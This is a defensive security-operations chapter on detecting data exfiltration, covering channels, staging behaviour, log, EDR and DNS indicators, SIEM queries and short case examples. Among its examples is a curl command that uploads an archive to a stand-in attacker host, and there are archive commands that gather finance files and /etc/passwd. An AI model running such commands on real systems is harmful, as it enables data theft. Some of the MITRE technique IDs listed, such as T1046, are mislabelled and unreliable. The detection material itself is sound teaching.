Data exfiltration is the unauthorized transfer of sensitive data from inside an organization to an external location controlled by an attacker.
It is one of the final and most critical stages of an intrusion, often following privilege escalation, credential theft, and lateral movement.
SOC analysts must detect exfiltration attempts early because once data leaves the network, impact becomes severe and often irreversible.
This chapter explains data exfiltration in full-scale SOC depth, including detection techniques, log analysis, network indicators, endpoint behaviors, protocols used for exfiltration, and practical detection strategies inside SIEM and EDR.
What Data Exfiltration Looks Like in Real Attacks
Attackers exfiltrate data through:
-
HTTP/HTTPS uploads
-
DNS tunneling
-
SMTP exfiltration
-
FTP/SFTP transfers
-
Cloud uploads (Dropbox, Google Drive, OneDrive)
-
TOR hidden services
-
C2 channels
-
Encrypted tunnels
-
Custom malware protocols
-
Public file-sharing sites
-
Slack/Telegram/Discord bots
Even normal protocols can hide malicious transfers if not analyzed carefully.
Data Exfiltration Stages
Stage 1 — Data Collection
Attacker accesses:
-
File servers
-
Databases
-
Shared drives
-
Email inboxes
-
Cloud storage
-
Business apps
Indicators include:
-
Unexpected access
-
Large volume reads
-
Access from unusual accounts
Stage 2 — Data Staging
Attackers prepare data to be sent out.
Staging locations:
-
%TEMP% -
%APPDATA% -
Desktop zip files
-
User profile folders
-
/tmp/ -
Hidden directories
Common staging behavior:
-
Creation of large ZIP/RAR files
-
Use of
7z.exe,rar.exe,zip.exe -
File splitting (
*.part01,*.part02) -
Data encoding (Base64 files)
Example command spotted in logs:
7z.exe a C:\Users\Public\backup.zip C:\Finance\*.xlsx
Stage 3 — Exfiltration
Data is transferred externally.
Indicators include:
-
High outbound traffic
-
Connections to unfamiliar IPs
-
Unusual POST requests
-
Large DNS request sizes
-
FTP uploads
-
Cloud sync activity on servers
-
TOR usage
-
Continuous beaconing with large payloads
Example:
powershell.exe → upload via HTTPS to attacker domain
Common Methods Attackers Use for Data Exfiltration
1. HTTP/HTTPS Uploads
Most common. Attackers send data via POST requests to attacker-controlled domains.
Logs show:
-
Large POST bodies
-
Frequent POST requests
-
Unusual user agents
Example:
10MB POST request to sync-update-info.net/upload
2. DNS Tunneling
Data encoded inside DNS requests.
Indicators:
-
Long DNS queries
-
High frequency DNS traffic
-
Base32/Base64 patterns
-
DNS requests to unusual subdomains
Example:
ajdks7329sd9s9alsd.domain.com
3. Cloud Storage Abuse
Attackers use legitimate services.
Examples:
-
Dropbox
-
Google Drive
-
OneDrive
-
Mega
-
iCloud
Indicators:
-
Unusual cloud sync from servers
-
Large outbound to cloud IP ranges
4. Email Exfiltration
Attackers send data to external email accounts.
Indicators:
-
Large attachments
-
Emails from servers that normally don’t send mail
5. Encrypted Channels
Attackers use:
-
SSH
-
VPNs
-
Custom TLS tunnels
-
C2 frameworks (Cobalt Strike, Sliver)
Indicators:
-
Outbound encryption from unexpected hosts
6. File Transfer Protocols
-
FTP
-
SFTP
-
SCP
Indicators:
-
FTP on uncommon ports
-
Auth attempts from compromised accounts
7. Messaging Platforms
Exfiltration via:
-
Telegram bots
-
Slack webhooks
-
Discord API
Indicators:
-
Connections to messaging API endpoints
Detecting Data Exfiltration Using Logs
Windows Event Logs
Detect staging:
-
File creation in unusual directories
-
Archive creation
-
Large file modifications
-
Executions of compression tools
Example (Sysmon Process Create):
EventID 1 → 7z.exe creating backup.zip
Linux Audit Logs
Detect:
-
Tar/Gzip usage
-
SSH outbound
-
SCP uploads
-
Access to sensitive directories
Example:
tar -czf /tmp/data.tar.gz /etc/passwd
Detecting Data Exfiltration Using Network Logs
Firewalls / Proxy Logs
Look for:
-
Large outbound traffic
-
POST uploads
-
Unknown IPs
-
Suspicious user agents
-
Traffic outside business hours
Example:
500MB upload to 185.44.22.11
DNS Logs
Detect:
-
Large DNS packet sizes
-
Excessive queries
-
Encoded data patterns
Detecting Data Exfiltration With EDR
Indicators include:
-
Execution of compression tools
-
Powershell upload scripts
-
Curl/Wget commands
-
Encoded blobs
Example:
powershell.exe curl -F "file=@backup.zip" https://attacker.com/upload
EDR Behavioral Alerts
-
Suspicious network connections
-
Unusual process paths
-
Abnormal data transfers
-
Script engines initiating uploads
MITRE ATT&CK Mapping
Data Exfiltration techniques include:
-
T1041: Exfiltration over C2 channel
-
T1048: Exfiltration over alternative protocol
-
T1046: Exfiltration over web services
-
T1020: Automated exfiltration
-
T1567: Exfiltration to cloud storage
-
T1071: Application layer protocols
-
T1132: Data encoding
These mappings help detection engineers build accurate rules.
SIEM Detection Queries (Practical)
Detect Large Outbound Transfers
bytes_out > 50000000 AND dest NOT IN whitelist
Detect Suspicious POST Uploads
http.method=POST AND body_bytes > 2000000
Detect DNS Tunneling
dns.query_length > 60 OR count(dns.requests) > threshold
Detect File Compression Tools Usage
process_name IN ("7z.exe", "rar.exe", "zip.exe")
Detect Cloud Storage Access From Servers
dest_domain IN (dropbox.com, drive.google.com) AND host_category = "server"
Real SOC Case Examples
Example 1 — Ransomware Gang Exfiltration
EDR shows:
7z.exe → backup.7z → outbound HTTPS to 91.22.113.10
Firewall confirms 1.2GB upload.
Example 2 — Insider Exfiltration
Proxy logs:
POST to WeTransfer with 300MB file
User had no business need.
Example 3 — DNS Tunneling Malware
DNS logs show:
-
10k+ DNS requests
-
Long encoded subdomain names
Investigation revealed backdoor.
Example 4 — Cloud Abuse on Linux Server
Outbound:
AWS S3 upload from finance server at 3AM
Confirmed compromise.
Intel Dump
-
Data exfiltration is the unauthorized external transfer of sensitive data.
-
Attackers stage data using compression tools and hidden directories.
-
Exfiltration methods include HTTP uploads, DNS tunneling, FTP/SFTP, email, cloud storage, TOR, and encrypted tunnels.
-
Detect using Windows/Linux logs, EDR telemetry, firewall logs, proxy, and DNS analysis.
-
Key indicators include large outbound traffic, unusual POST requests, long DNS queries, cloud uploads from servers, compression tool usage, and encoded PowerShell commands.
-
SIEM rules must detect abnormal data volumes, suspicious protocols, cloud access anomalies, and staging behavior.